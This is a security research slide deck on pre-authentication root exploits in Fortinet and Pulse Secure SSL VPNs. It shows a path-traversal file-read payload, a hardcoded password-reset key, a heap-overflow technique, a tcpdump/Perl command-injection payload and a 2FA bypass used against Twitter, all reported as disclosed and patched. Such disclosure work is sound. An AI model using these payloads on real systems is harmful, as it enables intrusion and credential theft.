Infiltrating Corporate Intranet
Like NSA

Pre-auth RCE on Leading SSL VPNs

Orange Tsai (@orange_8361)
Meh Chang (@mehqq_)
Orange Tsai

• Principal security researcher at DEVCORE
• Captain of HITCON CTF team
• 0day researcher, focusing on Web/Application security

@orange_8361
Meh Chang

- Security researcher at DEVCORE
- HITCON & 217 CTF team
- Focus on binary exploitation

@mehqq_
Highlights today

• Pre-auth root RCE exploit chain on Fortinet SSL VPN
  • Hard-core binary exploitation
  • Magic backdoor

• Pre-auth root RCE exploit chain on Pulse Secure SSL VPN
  • Out-of-box web exploitation
  • Highest bug bounty from Twitter ever

• New attack surface to compromise back all your VPN clients
Agenda

• Introduction
• Jailbreak the SSL VPN
• Attack vectors
• Case studies & Demos
• Weaponize the SSL VPN
• Recommendations
SSL VPN

- Trusted by large corporations to protect their assets
- Work with any network environments and firewalls
- Clientless, a web browser can do everything!
What if your trusted SSL VPN is insecure?
Virtual Public Network

"Public"
Why focusing on SSL VPN

1. Important corporate assets but a blind-spot
2. Widely used by corporations of all sizes
3. Only few SSL VPN vendors dominate the market
4. Direct Intranet access and must be exposed to outside
Even **NSA** is hunting bugs on SSL VPN

Think about Equation Group leaks
Secure Logon
for Facebook Tableau

Username

Password

Logon
Welcome to the
Twitter VPN Access Portal

username
password
Realm TWO FACTOR FULL TUNNEL

Please sign in to begin your secure session.

Sign In
They are usually forgotten
A silent-fix case

• We accidentally found a pre-auth RCE on Palo Alto SSL VPN during our Red Team assessment

• A silent fixed 1-day:
  • No CVE
  • No advisory
  • No official announcement
Hacking Uber as showcase

Hacked by Orange Tsai and Meh Chang from DEVCORE research team
Response from Palo Alto PSIRT

Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know.
THIS IS FINE.
High severity CVE statistics

- Cisco: 159
- F5: 50
- Palo Alto: 26
- Citrix: 17
- Fortinet: 13
- Pulse Secure: 6

https://nvd.nist.gov
We focus on...

- Pulse Secure SSL VPN
  - More than 50,000+ servers operating on the Internet
  - Trusted by large corporations, service providers and government entities

- Fortigate SSL VPN
  - More than 480,000+ servers operating on the Internet
  - Prevalent among medium-sized enterprises
Let’s start hacking
Difficulties for kick-starting

- SSL VPN is a **black box** and **closed source** appliance
- All-in-one & Build their own architecture stacks from scratch
- Only restricted shell provided
  - Jailbreak is the prerequisite for further researches
Jailbreak the SSL VPN

• We are not hardware guys :(
  • So we look into the virtual image first

• Analyzing virtual images
  1. Typical virtual images
  2. Encrypted virtual images
Typical virtual images

- If there is no **LILO** or **GRUB** password protected, we can just enter the Single-User mode
- Mount the **.VMDK** on your Linux box and modify the filesystem
  - /etc/crontab
  - /etc/ld.so.conf
  - /etc/passwd
  - Many ways...
What if the disk has been encrypted?
Encrypted virtual images

- BIOS/MBR
  - LILO/GRUB
    - Stage 1
    - Stage 2
  - vmlinuz kernel
    - zImage
    - bzImage
  - /sbin/init
    - Level - **Hard**
    - Reverse engineering for the win!
  - Level - **Easy**
    - Memory forensics for the win!
The booting process

BIOS

LILO

Kernel

/sbin/init

File  Edit  View  VM  Tabs  Help

Starting system software version 9.0.1 (build 6349)

Using driver: vmmq3

Loading vmmq3...

Licensing Hardware ID: 

About to boot as a stand-alone Pulse Connect Secure.

Hit TAB for clustering options, wait or hit Enter to continue....

Starting Core Services

Device Configuration: https://<DEVICE-IP-ADDRESS>//<DEVICE-DNS-NAME>/admin

Press <Enter> to view or update your appliance settings.

To direct input to this VM, click inside or press

???????????????????????
The booting process

1. BIOS
2. LILO
3. Kernel
4. /sbin/init
Find the vital point

- BIOS
- LILO
- Kernel
- /sbin/init
- /home/bin/dsconfig.pl

Memory Forensics
In-memory patch

- BIOS
- LILO
- Kernel
- /sbin/init

Memory Patch

As shown, the sequence of boot process involves BIOS, LILO, and Kernel before reaching the /sbin/init, which is followed by the execution of the script 'bin/sh'.
Once we press the Enter...

BIOS

Lilo

Kernel

/sbin/init

/bin/sh
Digging at a correct place
Attack vectors

- WebVPN
- Native script language extensions
- Multi-layered architecture problems
WebVPN

• A convenient proxy feature – Portable & Clientless
• Proxy all kinds of traffics through the web browser
  • Supports various protocols
    • HTTP, FTP, TELNET, SSH, SMB, RDP …
• Handles various web resources
  • WebSocket, JavaScript, Flash, Java Applet …
WebVPN implementation

- Build from scratch
  - Protocols, web resources handling are prone to memory bugs
  - Requires high security awareness
    - Debug function
    - Logging sensitive data
    - Information exposed
WebVPN implementation

• Modify from an open source project
  • Copy the code, copy the bugs
  • Hard to maintain & update & patch

• Call existing libraries
  • Neglect to update
    • Libcurl (2008), Libxml (2009)
Native script language extensions

- Most SSL VPNs have their own native script language extensions
  - En/Decoding in C/C++
  - Type confusion between languages

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Web Stack</th>
</tr>
</thead>
<tbody>
<tr>
<td>F5 Networks</td>
<td>PHP / C (Apache extension)</td>
</tr>
<tr>
<td>Cisco</td>
<td>Lua / C (self-implemented server)</td>
</tr>
<tr>
<td>Pulse Secure</td>
<td>Perl / C++ (self-implemented server)</td>
</tr>
<tr>
<td>Fortigate</td>
<td>Nginx / C (Apache extension)</td>
</tr>
<tr>
<td>Palo Alto</td>
<td>PHP / C (AppWeb extension)</td>
</tr>
<tr>
<td>Citrix</td>
<td>PHP / C (self-implemented server)</td>
</tr>
</tbody>
</table>
En/Decoding in C/C++

- String operation is always difficult for C language
  - Buffer size calculation
  - Dangerous functions
  - Misunderstood functions

```c
ret = snprintf(buf, buf_size, format, ...);
left_buf_size = buf_size - ret;
```
Type confusion

- Type seems the same but ...
- Perl string or C string?
- What **TYPE** is it?

```perl
my ($var) = @_;
EXTENSION::C_function($var);
```
WHO KNOWS?
Multi-layered architecture problems

• Inconsistency between each architecture layer
• Failed patterns
  • Reverse proxy + Java web = Fail
    • Breaking Parser Logic by Orange Tsai from Black Hat USA 2018
  • Customized(C/C++) web server + RESTful API backend
Failed Patterns

• ACL bypass on customized C webserver + RESTful backend
  • Abuse Regular Expression greedy mode to bypass path check
    ^/public/images/.+/((front|background)_.+)
  • Dispatched to backend PHP engine and access privileged pages

https://sslvpn/public/images/x/front_x/.../.../.../.../some.php
Case studies

Pre-auth remote code execution on **Fortigate** SSL VPN

Pre-auth remote code execution on **Pulse Secure** SSL VPN
Disclaimer

All the CVEs mentioned below have been reported and patched by Fortinet, Pulse Secure and Twitter
Fortigate SSL VPN

• All programs and configurations compiled into `/bin/init`
  • About **500 MB, stripped idb** with 85k functions
  • Plenty of function tables
• Customized web daemons
  • Based on apache since 2002
  • Self-implemented apache module
Fortigate web interface
Worth mentioning bugs

• Pre-auth RCE chain
  • CVE-2018-13379: Pre-auth arbitrary file reading
  • CVE-2018-13382: Post-auth heap overflow

• The magic backdoor
  • CVE-2018-13383: Modify any user’s password with a magic key
Arbitrary file reading

• A function reading language json files for users
  • Concatenate strings directly
  • No ../ filter
  • Limited file extension

`snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);`
Arbitrary file reading

• Utilize the feature of `snprintf`
  
  • *The snprintf() and vsnprintf() functions will write at most size-1 of the characters printed into the output string*
  
  • Appended file extension can be stripped!

/migadmin/lang/../../../..///////////////////////////////bin/sh.json
An SSL VPN mystery

Appears in many products ...
Excessively detailed session file

- /dev/cmdb/sslvpn_websession
  - Session token
  - IP address
  - User name
  - Plaintext password
GOOGLE HAS STORED SOME PASSWORDS IN PLAINTEXT SINCE 2005

Facebook Stored Hundreds of Millions of User Passwords in Plain Text for Years

Twitter advising all 330 million users to change passwords after bug exposed them in plain text
WebVPN

Quick Connection

HTTP/HTTPS
- FTP
- SMB/CIFS

FTP
- RDP
- VNC
- Citrix

URL: devco.re

SSO Credentials: on/off

Launch  Cancel
WebVPN – HTTP/HTTPS

https://sslvpn:4433/proxy/72ebc8b8/https/devco.re/
WebVPN – HTTP/HTTPS
Heap overflow vulnerability

• HTTP proxy
  • Perform URL rewriting
  • JavaScript parsing
  • memcpy to a 0x2000 heap buffer without length check

`memcpy(buffer, js_url, js_url_len);`
Exploitation obstacles

• Destabilizing factors of heap
  • Multiple connection handling with `epoll()`
  • Main process and libraries use the same heap – Jemalloc
  • Regularly triggered internal operations unrelated to connection

• Apache additional memory management
  • No `free()` unless connection ends
Jemalloc allocator limitation

- Centralize small objects
  - Stores small regions in corresponding runs
- Reduce interference between small and large objects
  - Limit target options
Program received signal SIGSEGV, Segmentation fault.
0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
2: /x $rax = 0x41414141
1: x/i $pc
=> 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
(gdb)
SSL structure (OpenSSL)

• Stores information of each SSL connection
• Ideal target
  ✓ Allocation triggered easily
  ✓ Size close to JavaScript buffer
  ✓ Nearby JavaScript buffer with regular offset (k + N pages)
  ✓ Useful structure members
Useful structure members

typedef struct ssl_st SSL;

struct ssl_st {
    int version;
    const SSL_METHOD *method; // func table
    ...
    int (*handshake_func)(SSL *);
};
Mess up connections

- Overflow SSL structure
  - Establish massive connections
    - Lots of normal requests
    - One overflow request

Fortigate SSL VPN

Fuzzer

Massive connections
- Normal request
- Normal request
- Overflow request
- Normal request
Exploit between connections

Connection 1

Connection 2

Connection 3

LOW

HEAP MEMORY

HIGH

SSL

SSL

SSL
Original SSL structure

version  method  ...  *handshake_func  ...

LOW  SSL  SSL  SSL  HIGH

HEAP MEMORY

ssl_accept()
Trigger JavaScript Parsing

Allocate

version  method  ...  *handshake_func  ...

ssl_accept()

LOW

JS Buffer

HIGH

HEAP MEMORY

HEAP MEMORY

SSL

SSL

SSL

SSL
Overflow SSL structure

memcpy(buffer, js_url, js_url_len);
From SEGFAULT to RCE

HEAP MEMORY

LOW

HIGH

ssl_accept()
Forge SSL structure

version  method  ...  *handshake_func  ...

system()

LOW  JS Buffer  SSL  SSL  SSL  SSL  HIGH

HEAP MEMORY
Enjoy your shell!

• Send fuzzy connections to meet the condition
  • Daemon may crash multiple times
  • Fortigate owns a reliable watchdog!

• Get a shell in 1~2 minutes
Make your life easier

Find another Door to get in
MAGIC backdoor

- A “magic” parameter
  - Secret key for reset password
  - Designed for updating outdated password
    - but lack of authentication

```c
magic = httpd_get_param(params, "magic");
if (magic && !strcmp(magic, "4thnet20954666"))
```
Demo

Pop a root shell from the only exposed HTTPS port
Demo
https://youtu.be/Aw55HqZW4x0
Pulse Secure SSL VPN

• Pulse Secure was formed a divestiture of Juniper Networks
• Customized web server and architecture stack
• Perl enthusiast - numerous Perl extensions in C++
• LD_PRELOAD all processes with:
  • `libsafe.so` - Detect and protect against stack smashing attacks
  • `libpreload.so` - User-mode networking system call hooks
Vulnerabilities we found

- CVE-2019-11510 - Pre-auth arbitrary file reading
- CVE-2019-11538 - Post-auth NFS arbitrary file reading
- CVE-2019-11508 - Post-auth NFS arbitrary file writing
- CVE-2019-11542 - Post-auth stack buffer overflow
- CVE-2019-11539 - Post-auth command injection
- CVE-2019-11540 - XSSI session hijacking
- CVE-2019-11507 - Cross-site scripting
Arbitrary file reading

• CVE-2019-11510 – Webserver-level pre-auth file reading
  • Pulse Secure has introduced a new feature HTML5 Access since SSL VPN version 8.2
    • A new solution to access Telnet, SSH and RDP via browsers
  • To handle static resources, Pulse Secure created a new IF-case to widen the original strict path validation
Am I affected by this vuln?

• Probably YES!
  
  • All un-patched versions are vulnerable except the End-of-Life 8.1 code

$ curl -I 'https://sslvpn/dana-na///css/ds.js'
  HTTP/1.1 400 Invalid Path

$ curl -I 'https://sslvpn/dana-na///css/ds.js?/dana/html5acc/guacamole/
  HTTP/1.1 200 OK
What can we extract?

1. Private keys and system configuration (LDAP, RADIUS and SAML...)
2. Hashed user passwords (md5_crypt)
3. Sensitive cookies in WebVPN (ex: Google, Dropbox and iCloud...)
4. Cached user plaintext passwords
1. Private keys and system configuration (LDAP, RADIUS and SAML...)
2. Hashed user passwords (md5_crypt)
3. Sensitive cookies in WebVPN (e.g., Google, Dropbox and iCloud...)
4. Cached user plaintext passwords
Command Injection

- CVE-2019-11539 – Post-auth Command Injection

```perl
sub tcpdump_options_syntax_check {
    my $options = shift;
    return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0;
    return undef;
}
```

/dana-admin/diag/diag.cgi
Command Injection

This allows you to sniff the packet headers on the network, and save them in a dump file.

TCP Dump Status: Stopped

- Interface: Internal
- VLAN Port: 
- Promiscuous mode: On
- Filter:
- Options: 

[Start Sniffing]
Pulse Secure hardenings

• Several hardenings on Pulse Secure SSL VPN...

1. System integrity check
2. Read-only filesystem (only `/data` are writable)
3. The `DSSafe.pm` as a safeguard protects Perl from dangerous operations
The Perl gatekeeper

• **DSSafe.pm**
  • A Perl-C extension hooks several Perl functions such as:
    • `system`, `open`, `popen`, `exec`, `backtick`...
  • Command-line syntax validation
    • Disallow numerous bad characters - `[\&\*\(\)\{\}\[\]\;\?\n~<>]`
    • Re-implement the Linux I/O redirections in Perl
Failed argument injection :(

- TCPDUMP is too old (v3.9.4, Sept 2005) to support **post-rotate-command**
- Observed Pulse Secure caches Perl template result in:
  - `/data/runtime/tmp/tt/*.thtml.ttc`
  - No way to generate a polyglot file in both Perl and PCAP format

```
/usr/sbin/tcpdump -help
```

Usage: tcpdump [-aAdDefllNOpqRStuUvxX] [-c count] [-C file_size]
[-r file] [-s snaplen] [-T type] [-w pcap-file]
[-W filecount] [-z postrotate-command]
[-y datalinktype] [-Z user] [expression]`
Time to dig deeper

• Dig into **DSSafe.pm** more deeply, we found a flaw in command line I/O redirection parsing

```perl
use DSSafe;

system("tcpdump -d $options >/dev/null 2>&1");
system("tcpdump -d -h >file >/dev/null 2>&1");  # `file` not found
system("tcpdump -d -h >file < >/dev/null 2>&1");  # `file` created
```
Think out of the box

STDOUT is uncontrollable

Could we write a valid Perl by just STDERR?
Think out of the box

$ tcpdump -d -r '123'
tcpdump: 123: No such file or directory

$ tcpdump -d -r '123' 2>&1 | perl -
syntax error at - line 1, near "123:"
Execution of - aborted due to compilation errors.
Think out of the box

```bash
$ tcpdump -d -r 'print 123#'
tcpdump: print 123#: No such file or directory

$ tcpdump -d -r 'print 123#' 2>&1 | perl - 123
```
Perl 101

tcpdump: print 123 #: No such file or directory
/usr/sbin/tcpdump -d

-r'$x="ls",system$x#'

2>/data/runtime/tmp/tt/setcookie.thtml.ttc
<

>/dev/null
2>&1

RCE Exploit
tcpdump
$\text{x} = \text{"ls"}, \text{system}\$\text{x}$:

```
usr/sbin/tcpdump -d
-r'\$x="ls", system\$x#'
2>/data/runtime/tmp/tt/setcookie.thtml.ttc
<
/dev/null
2>&1
```

STDERR(2)

```
tcpdump: $x="ls", system$x#: No such file...
```
/usr/sbin/tcpdump -d
-r '$x="ls",system$x#'
2>/data/runtime/tmp/tt/setcookie.html.ttc
<
>/dev/null
2>&1

STDERR(2) > /data/runtime/tmp/tt/setcookie.html.ttc
tcpdump: $x="ls",system$x#: No such file...
/usr/sbin/tcpdump -d -r '$x="ls",system$x#' 2>/data/runtime/tmp/tt/setcookie.thtml.ttc

< /dev/null 2>&1

STDERR(2) > /data/runtime/tmp/tt/setcookie.thtml.ttc
tcpdump: $x="ls",system$x#: No such file...
/usr/sbin/tcpdump -d
-r '$x=\"ls\",system\$x\#' 
2>/data/runtime/tmp/tt/setcookie.thtml.ttc
<
/dev/null
2>&1

boot  bin  home  lib64  mnt  opt  proc  sys  usr  var
data  etc  lib  lost+found  modules  pkg  sbin  tmp
...

2>&1

curl https://sslvpn/dana-na/auth/setcookie.cgi
Response from Pulse Secure

• Pulse Secure is committed to providing customers with the best Secure Access Solutions for Hybrid IT- SSL VPN and takes security vulnerabilities very seriously

• Timeline:
  • This issue was reported to Pulse Secure PSIRT Team on March 22, 2019
  • Pulse Secure fixes all reported issues in short span of time and published the security advisory SA44101 on April 24, 2019 with all software updates that address the vulnerabilities for unpatched versions
  • Pulse Secure assigned the CVE’s to all reported vulnerabilities and updated the advisory on April 25, 2019
  • Pulse Secure sent out a reminder to all customers to apply the security patches on June 26, 2019

• Pulse Secure would like to thank DEVCORE Team for reporting this vulnerability to Pulse Secure and working toward a coordinated disclosure
Hacking Twitter

• We keep monitoring large corporations who use Pulse Secure by fetching the exposed version and Twitter is one of them.

• Pulse Secure released the patch on April 25, 2019 and we wait 30 days for Twitter to upgrade the SSL VPN.
Welcome to the
Twitter VPN Access Portal

username
password
Realm

Please sign in to begin your secure session.

Sign In
Twitter is vulnerable

$ ./pulse_check.py <mask>.twitter.com
[*] Date = Thu, 13 Dec 2018 05:34:28 GMT
[*] Version = 9.0.3.64015
[*] OK, <mask>.twittr.com is vulnerable
TWO...

FACTOR AUTHENTICATION
Two-factor authentication

• Bypass the two-factor authentication
  1. Although we can extract cached passwords in plaintext from `/lmdb/dataa/data.mdb`, we still can not do anything :(
  2. Observe Twitter enabled the Roaming Session (enabled by default)
  3. Download the `/lmdb/randomVal/data.mdb` to dump all session
  4. Forge the user and reuse the session to bypass the 2FA
Welcome to the Pulse Connect Secure, sviswanathan.

Web

您完全沒有 Web 畫面。

檔案

您未將任何檔案加人書籤。

終端機工作階段

您完全沒有終端機工作階段。

用戶端應用程式工作階段

- Pulse
  - 開始
- Java 安全應用程式管理員
  - 開始
Welcome to

Secure Access SSL VPN

You do not have permission to login. Please contact your administrator.
Welcome to Secure Access SSL VPN

Note: This is the Administrator Sign-In Page. If you don’t want to sign in as an Administrator, return to the standard Sign-In Page.
However

We only have the hash of admin password in

\texttt{sha256(md5\_crypt(salt, ...))}
LAUNCH A 72-CORE AWS TO CRACK SHA256(MD5_CRYPT(SALT,...))
3 Hours Later...
eth2  Link encaps:Ethernet  HWaddr  00:21:5C:02:46:22
  UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
  RX packets:35606236014 errors:0 dropped:0 overruns:0 frame:0
  TX packets:39493038831 errors:0 dropped:0 overruns:0 carrier:0
  collisions:0  txqueuelen:1000
  RX bytes:27550572412019 (25.0 TiB)  TX bytes:35086268427123 (31.9 TiB)

eth3  Link encaps:Ethernet  HWaddr  00:21:5C:02:46:22
  UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
  RX packets:38799900799 errors:0 dropped:126028 overruns:0 frame:0
  TX packets:34512697993 errors:0 dropped:0 overruns:0 carrier:0
  collisions:0  txqueuelen:1000
  RX bytes:32222414579423 (29.3 TiB)  TX bytes:24982418765596 (22.7 TiB)

eth4  Link encaps:Ethernet  HWaddr  00:21:5C:02:46:22
  UP BROADCAST SLAVE MULTICAST  MTU:1500  Metric:1
  RX packets:0 errors:0 dropped:0 overruns:0 frame:0
  TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
  collisions:0  txqueuelen:1000
  RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

eth5  Link encaps:Ethernet  HWaddr  00:21:5C:02:46:22
  UP BROADCAST SLAVE MULTICAST  MTU:1500  Metric:1
  RX packets:0 errors:0 dropped:0 overruns:0 frame:0
  TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
  collisions:0  txqueuelen:1000
  RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
<table>
<thead>
<tr>
<th>Interface</th>
<th>Link encapsulation</th>
<th>HW Address</th>
<th>Status</th>
<th>MTU</th>
<th>Metric</th>
<th>RX Packets</th>
<th>RX Errors</th>
<th>RX Dropped</th>
<th>RX Overruns</th>
<th>RX Frame</th>
<th>TX Packets</th>
<th>TX Errors</th>
<th>TX Dropped</th>
<th>TX Overruns</th>
<th>TX Carrier</th>
<th>TX Collisions</th>
<th>TX Queues</th>
<th>RX Bytes (Rx)</th>
<th>TX Bytes (Tx)</th>
</tr>
</thead>
<tbody>
<tr>
<td>eth2</td>
<td>Ethernet</td>
<td>00:11:32</td>
<td>UP</td>
<td>1500</td>
<td>1</td>
<td>3566236014</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>39493038831</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>7550572412019</td>
<td>35086268427123</td>
<td>25.0 TiB</td>
</tr>
<tr>
<td>eth3</td>
<td>Ethernet</td>
<td>00:11:32</td>
<td>UP</td>
<td>1500</td>
<td>1</td>
<td>451250028</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>3222249579423</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>3222249579423</td>
<td>2498241876596</td>
<td>29.3 TiB</td>
</tr>
<tr>
<td>eth4</td>
<td>Ethernet</td>
<td>00:11:32</td>
<td>UP</td>
<td>1500</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0 (0.0 b)</td>
<td>0 (0.0 b)</td>
</tr>
<tr>
<td>eth5</td>
<td>Ethernet</td>
<td>00:11:32</td>
<td>UP</td>
<td>1500</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0 (0.0 b)</td>
<td>0 (0.0 b)</td>
</tr>
</tbody>
</table>
Make the red team more Red
Weaponize the SSL VPN

• The **old-school** method
  • Watering hole / Drive by download
  • Replace SSL VPN agent installer
  • Man-in-the-middle attack
Weaponize the SSL VPN

- The **new** method to compromise all VPN clients
- Leverage the logon script feature!
  - Execute specified program once the VPN client connected
  - Almost every SSL VPN supports this feature
  - Support Windows, Linux and Mac
Demo

Compromise all connected VPN clients
Demo

https://youtu.be/v7JUMb70ON4
Recommendations

• Client certificate authentication
• Multi factors authentication
• Enable full log audit (Be sure to send to out-bound server)
• Subscribe to the vendor’s security advisory and keep system updated!
Thanks!

@orange_8361
orange@devco.re

@mehqq_
meh@devco.re